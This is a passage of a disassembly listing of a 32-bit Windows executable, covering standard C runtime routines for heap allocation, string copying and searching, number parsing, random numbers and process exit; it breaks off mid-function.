; ---------------------------------------------------------------------------
loc_41B9CC: ; CODE XREF: sub_41B872+150j
push 10h
pop esi
loc_41B9CF: ; CODE XREF: sub_41B872+14Cj
; sub_41B872+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BAAF
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41F272
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BA93
cmp esi, dword_43F614
jnb short loc_41BA57
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F63A
add esp, 10h
test eax, eax
jz short loc_41BA1D
mov edi, [ebp+arg_0]
jmp short loc_41BA4F
; ---------------------------------------------------------------------------
loc_41BA1D: ; CODE XREF: sub_41B872+1A4j
push edi
call sub_41F30E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BA57
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BA36
mov eax, esi
loc_41BA36: ; CODE XREF: sub_41B872+1C0j
push eax
push [ebp+arg_0]
push edi
call near ptr sub_41C9B0
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F2C9
add esp, 18h
loc_41BA4F: ; CODE XREF: sub_41B872+1A9j
test edi, edi
jnz loc_41B9AB
loc_41BA57: ; CODE XREF: sub_41B872+18Bj
; sub_41B872+1B6j
push esi
push 0
push dword_4DFC64
call dword_428154 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BAAF
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BA78
mov eax, esi
loc_41BA78: ; CODE XREF: sub_41B872+202j
push eax
push [ebp+arg_0]
push edi
call near ptr sub_41C9B0
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F2C9
add esp, 18h
jmp short loc_41BAA7
; ---------------------------------------------------------------------------
loc_41BA93: ; CODE XREF: sub_41B872+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DFC64
call dword_4281A4 ; RtlReAllocateHeap
mov edi, eax
loc_41BAA7: ; CODE XREF: sub_41B872+21Fj
test edi, edi
jnz loc_41B9AB
loc_41BAAF: ; CODE XREF: sub_41B872+162j
; sub_41B872+1F8j
cmp dword_4DE64C, 0
jz loc_41B9AB
push esi
call sub_41F9B2
test eax, eax
pop ecx
jnz loc_41B9CF
jmp short loc_41BB0B
; ---------------------------------------------------------------------------
loc_41BACD: ; CODE XREF: sub_41B872+143j
; sub_41B872+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BAF7
test esi, esi
jnz short loc_41BADB
push 1
pop esi
loc_41BADB: ; CODE XREF: sub_41B872+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DFC64
call dword_4281A4 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41BB0D
loc_41BAF7: ; CODE XREF: sub_41B872+260j
cmp dword_4DE64C, 0
jz short loc_41BB0D
push esi
call sub_41F9B2
test eax, eax
pop ecx
jnz short loc_41BACD
loc_41BB0B: ; CODE XREF: sub_41B872+2Bj
; sub_41B872+134j ...
xor eax, eax
loc_41BB0D: ; CODE XREF: sub_41B872+16j
; sub_41B872+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B872 endp
; =============== S U B R O U T I N E =======================================
sub_41BB12 proc near ; CODE XREF: sub_41BB32+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41FB3D
test eax, eax
jnz short loc_41BB1C
retn
; ---------------------------------------------------------------------------
loc_41BB1C: ; CODE XREF: sub_41BB12+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F9CD
add esp, 10h
retn
sub_41BB12 endp
; =============== S U B R O U T I N E =======================================
sub_41BB32 proc near ; CODE XREF: sub_4010AA+18p
; sub_401AA1+57BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BB12
add esp, 0Ch
retn
sub_41BB32 endp
; =============== S U B R O U T I N E =======================================
sub_41BB45 proc near ; CODE XREF: sub_4010AA+6p
; sub_40A7FD+5Fp ...
arg_0 = dword ptr 4
push dword_4DE64C
push [esp+4+arg_0]
call sub_41BB57
pop ecx
pop ecx
retn
sub_41BB45 endp
; =============== S U B R O U T I N E =======================================
sub_41BB57 proc near ; CODE XREF: sub_41BB45+Ap
; sub_41D635+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BB80
loc_41BB5E: ; CODE XREF: sub_41BB57+27j
push [esp+arg_0]
call sub_41BB83
test eax, eax
pop ecx
jnz short locret_41BB82
cmp [esp+arg_4], eax
jz short locret_41BB82
push [esp+arg_0]
call sub_41F9B2
test eax, eax
pop ecx
jnz short loc_41BB5E
loc_41BB80: ; CODE XREF: sub_41BB57+5j
xor eax, eax
locret_41BB82: ; CODE XREF: sub_41BB57+13j
; sub_41BB57+19j
retn
sub_41BB57 endp
; =============== S U B R O U T I N E =======================================
sub_41BB83 proc near ; CODE XREF: sub_41BB57+Bp
arg_0 = dword ptr 4
mov eax, dword_4DFC68
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BBA7
cmp esi, dword_4DFC60
ja short loc_41BBD9
push esi
call sub_41E86B
test eax, eax
pop ecx
jz short loc_41BBD9
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BBA7: ; CODE XREF: sub_41BB83+Dj
cmp eax, 2
jnz short loc_41BBD9
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BBBC
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BBBF
; ---------------------------------------------------------------------------
loc_41BBBC: ; CODE XREF: sub_41BB83+2Fj
push 10h
pop esi
loc_41BBBF: ; CODE XREF: sub_41BB83+37j
cmp esi, dword_43F614
ja short loc_41BBE6
mov eax, esi
shr eax, 4
push eax
call sub_41F30E
test eax, eax
pop ecx
jnz short loc_41BBF5
jmp short loc_41BBE6
; ---------------------------------------------------------------------------
loc_41BBD9: ; CODE XREF: sub_41BB83+15j
; sub_41BB83+20j ...
test esi, esi
jnz short loc_41BBE0
push 1
pop esi
loc_41BBE0: ; CODE XREF: sub_41BB83+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BBE6: ; CODE XREF: sub_41BB83+42j
; sub_41BB83+54j
push esi
push 0
push dword_4DFC64
call dword_428154 ; RtlAllocateHeap
loc_41BBF5: ; CODE XREF: sub_41BB83+52j
pop esi
retn
sub_41BB83 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BC00 proc near ; CODE XREF: sub_40111A+3Cp
; sub_40111A+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BC53
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BC47
neg ecx
and ecx, 3
jz short loc_41BC29
sub edx, ecx
loc_41BC23: ; CODE XREF: sub_41BC00+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BC23
loc_41BC29: ; CODE XREF: sub_41BC00+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BC47
rep stosd
test edx, edx
jz short loc_41BC4D
loc_41BC47: ; CODE XREF: sub_41BC00+18j
; sub_41BC00+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BC47
loc_41BC4D: ; CODE XREF: sub_41BC00+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BC53: ; CODE XREF: sub_41BC00+Aj
mov eax, [esp+arg_0]
retn
sub_41BC00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BC60 proc near ; CODE XREF: sub_40121E+48Ap
; sub_40121E+4A6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41BCE3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BC84
shr ecx, 2
jnz short loc_41BCF1
jmp short loc_41BCA5
; ---------------------------------------------------------------------------
loc_41BC84: ; CODE XREF: sub_41BC60+1Bj
; sub_41BC60+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41BCB2
test al, al
jz short loc_41BCBA
test esi, 3
jnz short loc_41BC84
mov ebx, ecx
shr ecx, 2
jnz short loc_41BCF1
loc_41BCA0: ; CODE XREF: sub_41BC60+8Fj
and ebx, 3
jz short loc_41BCB2
loc_41BCA5: ; CODE XREF: sub_41BC60+22j
; sub_41BC60+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41BCDE
dec ebx
jnz short loc_41BCA5
loc_41BCB2: ; CODE XREF: sub_41BC60+2Bj
; sub_41BC60+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BCBA: ; CODE XREF: sub_41BC60+2Fj
test edi, 3
jz short loc_41BCD4
loc_41BCC2: ; CODE XREF: sub_41BC60+72j
mov [edi], al
inc edi
dec ecx
jz loc_41BD56
test edi, 3
jnz short loc_41BCC2
loc_41BCD4: ; CODE XREF: sub_41BC60+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41BD47
loc_41BCDB: ; CODE XREF: sub_41BC60+7Fj
; sub_41BC60+F4j
mov [edi], al
inc edi
loc_41BCDE: ; CODE XREF: sub_41BC60+4Dj
dec ebx
jnz short loc_41BCDB
pop ebx
pop esi
loc_41BCE3: ; CODE XREF: sub_41BC60+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BCE9: ; CODE XREF: sub_41BC60+A9j
; sub_41BC60+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41BCA0
loc_41BCF1: ; CODE XREF: sub_41BC60+20j
; sub_41BC60+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41BCE9
test dl, dl
jz short loc_41BD3B
test dh, dh
jz short loc_41BD31
test edx, 0FF0000h
jz short loc_41BD27
test edx, 0FF000000h
jnz short loc_41BCE9
mov [edi], edx
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD27: ; CODE XREF: sub_41BC60+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD31: ; CODE XREF: sub_41BC60+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD3B: ; CODE XREF: sub_41BC60+ADj
xor edx, edx
mov [edi], edx
loc_41BD3F: ; CODE XREF: sub_41BC60+C5j
; sub_41BC60+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41BD51
loc_41BD47: ; CODE XREF: sub_41BC60+79j
xor eax, eax
loc_41BD49: ; CODE XREF: sub_41BC60+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41BD49
loc_41BD51: ; CODE XREF: sub_41BC60+E5j
and ebx, 3
jnz short loc_41BCDB
loc_41BD56: ; CODE XREF: sub_41BC60+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BC60 endp
; =============== S U B R O U T I N E =======================================
sub_41BD5E proc near ; CODE XREF: sub_41BDE9+4p
; sub_424EBC+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41BD66: ; CODE XREF: sub_41BD5E+34j
cmp dword_43F824, 1
jle short loc_41BD7E
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_41BD8D
; ---------------------------------------------------------------------------
loc_41BD7E: ; CODE XREF: sub_41BD5E+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43F618
mov al, [ecx+eax*2]
and eax, 8
loc_41BD8D: ; CODE XREF: sub_41BD5E+1Ej
test eax, eax
jz short loc_41BD94
inc edi
jmp short loc_41BD66
; ---------------------------------------------------------------------------
loc_41BD94: ; CODE XREF: sub_41BD5E+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41BDA4
cmp esi, 2Bh
jnz short loc_41BDA8
loc_41BDA4: ; CODE XREF: sub_41BD5E+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41BDA8: ; CODE XREF: sub_41BD5E+44j
xor ebx, ebx
loc_41BDAA: ; CODE XREF: sub_41BD5E+7Bj
cmp dword_43F824, 1
jle short loc_41BDBF
push 4
push esi
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_41BDCA
; ---------------------------------------------------------------------------
loc_41BDBF: ; CODE XREF: sub_41BD5E+53j
mov eax, off_43F618
mov al, [eax+esi*2]
and eax, 4
loc_41BDCA: ; CODE XREF: sub_41BD5E+5Fj
test eax, eax
jz short loc_41BDDB
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41BDAA
; ---------------------------------------------------------------------------
loc_41BDDB: ; CODE XREF: sub_41BD5E+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41BDE4
neg eax
loc_41BDE4: ; CODE XREF: sub_41BD5E+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41BD5E endp
; =============== S U B R O U T I N E =======================================
sub_41BDE9 proc near ; CODE XREF: sub_40121E+2F4p
; sub_401AA1+6EFp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BD5E
pop ecx
retn
sub_41BDE9 endp
; =============== S U B R O U T I N E =======================================
sub_41BDF4 proc near ; CODE XREF: sub_41DFD3+93p
mov eax, off_43D5BC
test eax, eax
jz short loc_41BDFF
call eax ; sub_41CDB4
loc_41BDFF: ; CODE XREF: sub_41BDF4+7j
push offset dword_42A02C
push offset dword_42A018
call sub_41BEDC
push offset dword_42A014
push offset dword_42A000
call sub_41BEDC
add esp, 10h
retn
sub_41BDF4 endp
; =============== S U B R O U T I N E =======================================
sub_41BE21 proc near ; CODE XREF: sub_41DFD3+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_41BE43
add esp, 0Ch
retn
sub_41BE21 endp
; =============== S U B R O U T I N E =======================================
sub_41BE32 proc near ; CODE XREF: .XPack0:0041E0C4p
; sub_41E0C9+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41BE43
add esp, 0Ch
retn
sub_41BE32 endp
; =============== S U B R O U T I N E =======================================
sub_41BE43 proc near ; CODE XREF: sub_41BE21+8p
; sub_41BE32+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DE60C, edi
jnz short loc_41BE60
push [esp+4+arg_0]
call dword_428108 ; GetCurrentProcess
push eax
call dword_428100 ; TerminateProcess
loc_41BE60: ; CODE XREF: sub_41BE43+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DE608, edi
mov byte_4DE604, bl
jnz short loc_41BEB4
mov eax, dword_4DFC7C
test eax, eax
jz short loc_41BEA3
mov ecx, dword_4DFC78
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41BEA2
loc_41BE8F: ; CODE XREF: sub_41BE43+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41BE97
call eax
loc_41BE97: ; CODE XREF: sub_41BE43+50j
sub esi, 4
cmp esi, dword_4DFC7C
jnb short loc_41BE8F
loc_41BEA2: ; CODE XREF: sub_41BE43+4Aj
pop esi
loc_41BEA3: ; CODE XREF: sub_41BE43+3Cj
push offset dword_42A038
push offset dword_42A030
call sub_41BEDC
pop ecx
pop ecx
loc_41BEB4: ; CODE XREF: sub_41BE43+33j
push offset dword_42A044
push offset dword_42A03C
call sub_41BEDC
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41BEDA
push [esp+4+arg_0]
mov dword_4DE60C, edi
call dword_42806C ; ExitProcess
loc_41BEDA: ; CODE XREF: sub_41BE43+85j
pop edi
retn
sub_41BE43 endp
; =============== S U B R O U T I N E =======================================
sub_41BEDC proc near ; CODE XREF: sub_41BDF4+15p
; sub_41BDF4+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41BEE1: ; CODE XREF: sub_41BEDC+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41BEF4
mov eax, [esi]
test eax, eax
jz short loc_41BEEF
call eax
loc_41BEEF: ; CODE XREF: sub_41BEDC+Fj
add esi, 4
jmp short loc_41BEE1
; ---------------------------------------------------------------------------
loc_41BEF4: ; CODE XREF: sub_41BEDC+9j
pop esi
retn
sub_41BEDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BEF6 proc near ; CODE XREF: sub_40121E+18Cp
; sub_40121E+283p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41FD3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41BF36
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41BF43
; ---------------------------------------------------------------------------
loc_41BF36: ; CODE XREF: sub_41BEF6+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FC2A
pop ecx
pop ecx
loc_41BF43: ; CODE XREF: sub_41BEF6+3Ej
mov eax, esi
pop esi
leave
retn
sub_41BEF6 endp
; =============== S U B R O U T I N E =======================================
sub_41BF48 proc near ; CODE XREF: sub_40121E+45p
; sub_401AA1+3171p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43D5A0, eax
retn
sub_41BF48 endp
; =============== S U B R O U T I N E =======================================
sub_41BF52 proc near ; CODE XREF: sub_40121E:loc_401373p
; sub_40121E:loc_40168Fp ...
mov eax, dword_43D5A0
imul eax, 343FDh
add eax, 269EC3h
mov dword_43D5A0, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41BF52 endp
; =============== S U B R O U T I N E =======================================
sub_41BF70 proc near ; CODE XREF: sub_40121E+12Ap
; sub_401AA1+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41BFEA
mov dh, [ecx+1]
test dh, dh
jz short loc_41BFD7
loc_41BF88: ; CODE XREF: sub_41BF70+52j
; sub_41BF70+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41BFAA
test al, al
jz short loc_41BFA4
loc_41BF99: ; CODE XREF: sub_41BF70+32j
mov al, [esi]
inc esi
loc_41BF9C: ; CODE XREF: sub_41BF70+3Fj
cmp al, dl
jz short loc_41BFAA
test al, al
jnz short loc_41BF99
loc_41BFA4: ; CODE XREF: sub_41BF70+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41BFAA: ; CODE XREF: sub_41BF70+23j
; sub_41BF70+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41BF9C
lea edi, [esi-1]
loc_41BFB4: ; CODE XREF: sub_41BF70+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41BFE3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41BF88
mov al, [ecx+3]
test al, al
jz short loc_41BFE3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41BFB4
jmp short loc_41BF88
; ---------------------------------------------------------------------------
loc_41BFD7: ; CODE XREF: sub_41BF70+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C626
; ---------------------------------------------------------------------------
loc_41BFE3: ; CODE XREF: sub_41BF70+49j
; sub_41BF70+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BFEA: ; CODE XREF: sub_41BF70+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41BF70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BFF0 proc near ; CODE XREF: sub_40121E+117p
; sub_401AA1+1BCFp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41FD3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C02F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C03C
; ---------------------------------------------------------------------------
loc_41C02F: ; CODE XREF: sub_41BFF0+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FC2A
pop ecx
pop ecx
loc_41C03C: ; CODE XREF: sub_41BFF0+3Dj
mov eax, esi
pop esi
leave
retn
sub_41BFF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C041 proc near ; CODE XREF: sub_40121E+F7p
; sub_401AA1+2124p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B650
cmp eax, 1
pop ecx
jb short loc_41C07C
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C07C
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C078
push 2
push ebx
push esi
call sub_420929
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C078: ; CODE XREF: sub_41C041+25j
inc ebx
inc ebx
jmp short loc_41C086
; ---------------------------------------------------------------------------
loc_41C07C: ; CODE XREF: sub_41C041+18j
; sub_41C041+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C086
and byte ptr [eax], 0
loc_41C086: ; CODE XREF: sub_41C041+39j
; sub_41C041+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C0FE
loc_41C099: ; CODE XREF: sub_41C041+87j
mov cl, [eax]
movzx edx, cl
test byte_4DFB41[edx], 4
jz short loc_41C0AA
inc eax
jmp short loc_41C0C4
; ---------------------------------------------------------------------------
loc_41C0AA: ; CODE XREF: sub_41C041+64j
cmp cl, 2Fh
jz short loc_41C0BE
cmp cl, 5Ch
jz short loc_41C0BE
cmp cl, 2Eh
jnz short loc_41C0C4
mov [ebp+var_4], eax
jmp short loc_41C0C4
; ---------------------------------------------------------------------------
loc_41C0BE: ; CODE XREF: sub_41C041+6Cj
; sub_41C041+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C0C4: ; CODE XREF: sub_41C041+67j
; sub_41C041+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C099
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C0FE
cmp [ebp+arg_8], 0
jz short loc_41C0F9
sub edi, ebx
cmp edi, esi
jb short loc_41C0E2
mov edi, esi
loc_41C0E2: ; CODE XREF: sub_41C041+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420929
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C0F9: ; CODE XREF: sub_41C041+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C108
; ---------------------------------------------------------------------------
loc_41C0FE: ; CODE XREF: sub_41C041+56j
; sub_41C041+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C108
and byte ptr [ecx], 0
loc_41C108: ; CODE XREF: sub_41C041+BBj
; sub_41C041+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C15B
cmp edi, ebx
jb short loc_41C15B
cmp [ebp+arg_C], 0
jz short loc_41C138
sub edi, ebx
cmp edi, esi
jb short loc_41C121
mov edi, esi
loc_41C121: ; CODE XREF: sub_41C041+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420929
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C138: ; CODE XREF: sub_41C041+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C183
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C148
mov esi, eax
loc_41C148: ; CODE XREF: sub_41C041+103j
push esi
push [ebp+var_4]
push edi
call sub_420929
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C183
; ---------------------------------------------------------------------------
loc_41C15B: ; CODE XREF: sub_41C041+CCj
; sub_41C041+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C179
sub eax, ebx
cmp eax, esi
jnb short loc_41C16A
mov esi, eax
loc_41C16A: ; CODE XREF: sub_41C041+125j
push esi
push ebx
push edi
call sub_420929
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C179: ; CODE XREF: sub_41C041+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C183
and byte ptr [eax], 0
loc_41C183: ; CODE XREF: sub_41C041+FCj
; sub_41C041+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C041 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C190 proc near ; CODE XREF: sub_401925+8p
; sub_401AA1+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C1B0
loc_41C19C: ; CODE XREF: sub_41C190+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C19C
loc_41C1B0: ; CODE XREF: sub_41C190+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C1BF proc near ; CODE XREF: sub_401AA1+7341p
; sub_401AA1+736Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C1D3
xor eax, eax
jmp short loc_41C209
; ---------------------------------------------------------------------------
loc_41C1D3: ; CODE XREF: sub_41C1BF+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C203
mov esi, [ebp+arg_8]
loc_41C1DC: ; CODE XREF: sub_41C1BF+42j
dec dword ptr [esi+4]
js short loc_41C1EB
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C1F2
; ---------------------------------------------------------------------------
loc_41C1EB: ; CODE XREF: sub_41C1BF+20j
push esi
call sub_41F6E3
pop ecx
loc_41C1F2: ; CODE XREF: sub_41C1BF+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C20D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C203
dec [ebp+arg_4]
jnz short loc_41C1DC
loc_41C203: ; CODE XREF: sub_41C1BF+18j
; sub_41C1BF+3Dj ...
and byte ptr [edi], 0
loc_41C206: ; CODE XREF: sub_41C1BF+55j
mov eax, ebx
pop esi
loc_41C209: ; CODE XREF: sub_41C1BF+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C20D: ; CODE XREF: sub_41C1BF+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C203
xor ebx, ebx
jmp short loc_41C206
sub_41C1BF endp
; =============== S U B R O U T I N E =======================================
sub_41C216 proc near ; CODE XREF: sub_41E32A+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C22D
add esp, 10h
retn
sub_41C216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C22D proc near ; CODE XREF: sub_41C216+Ep
; sub_41C435+Ep
var_C = dword ptr -0Ch
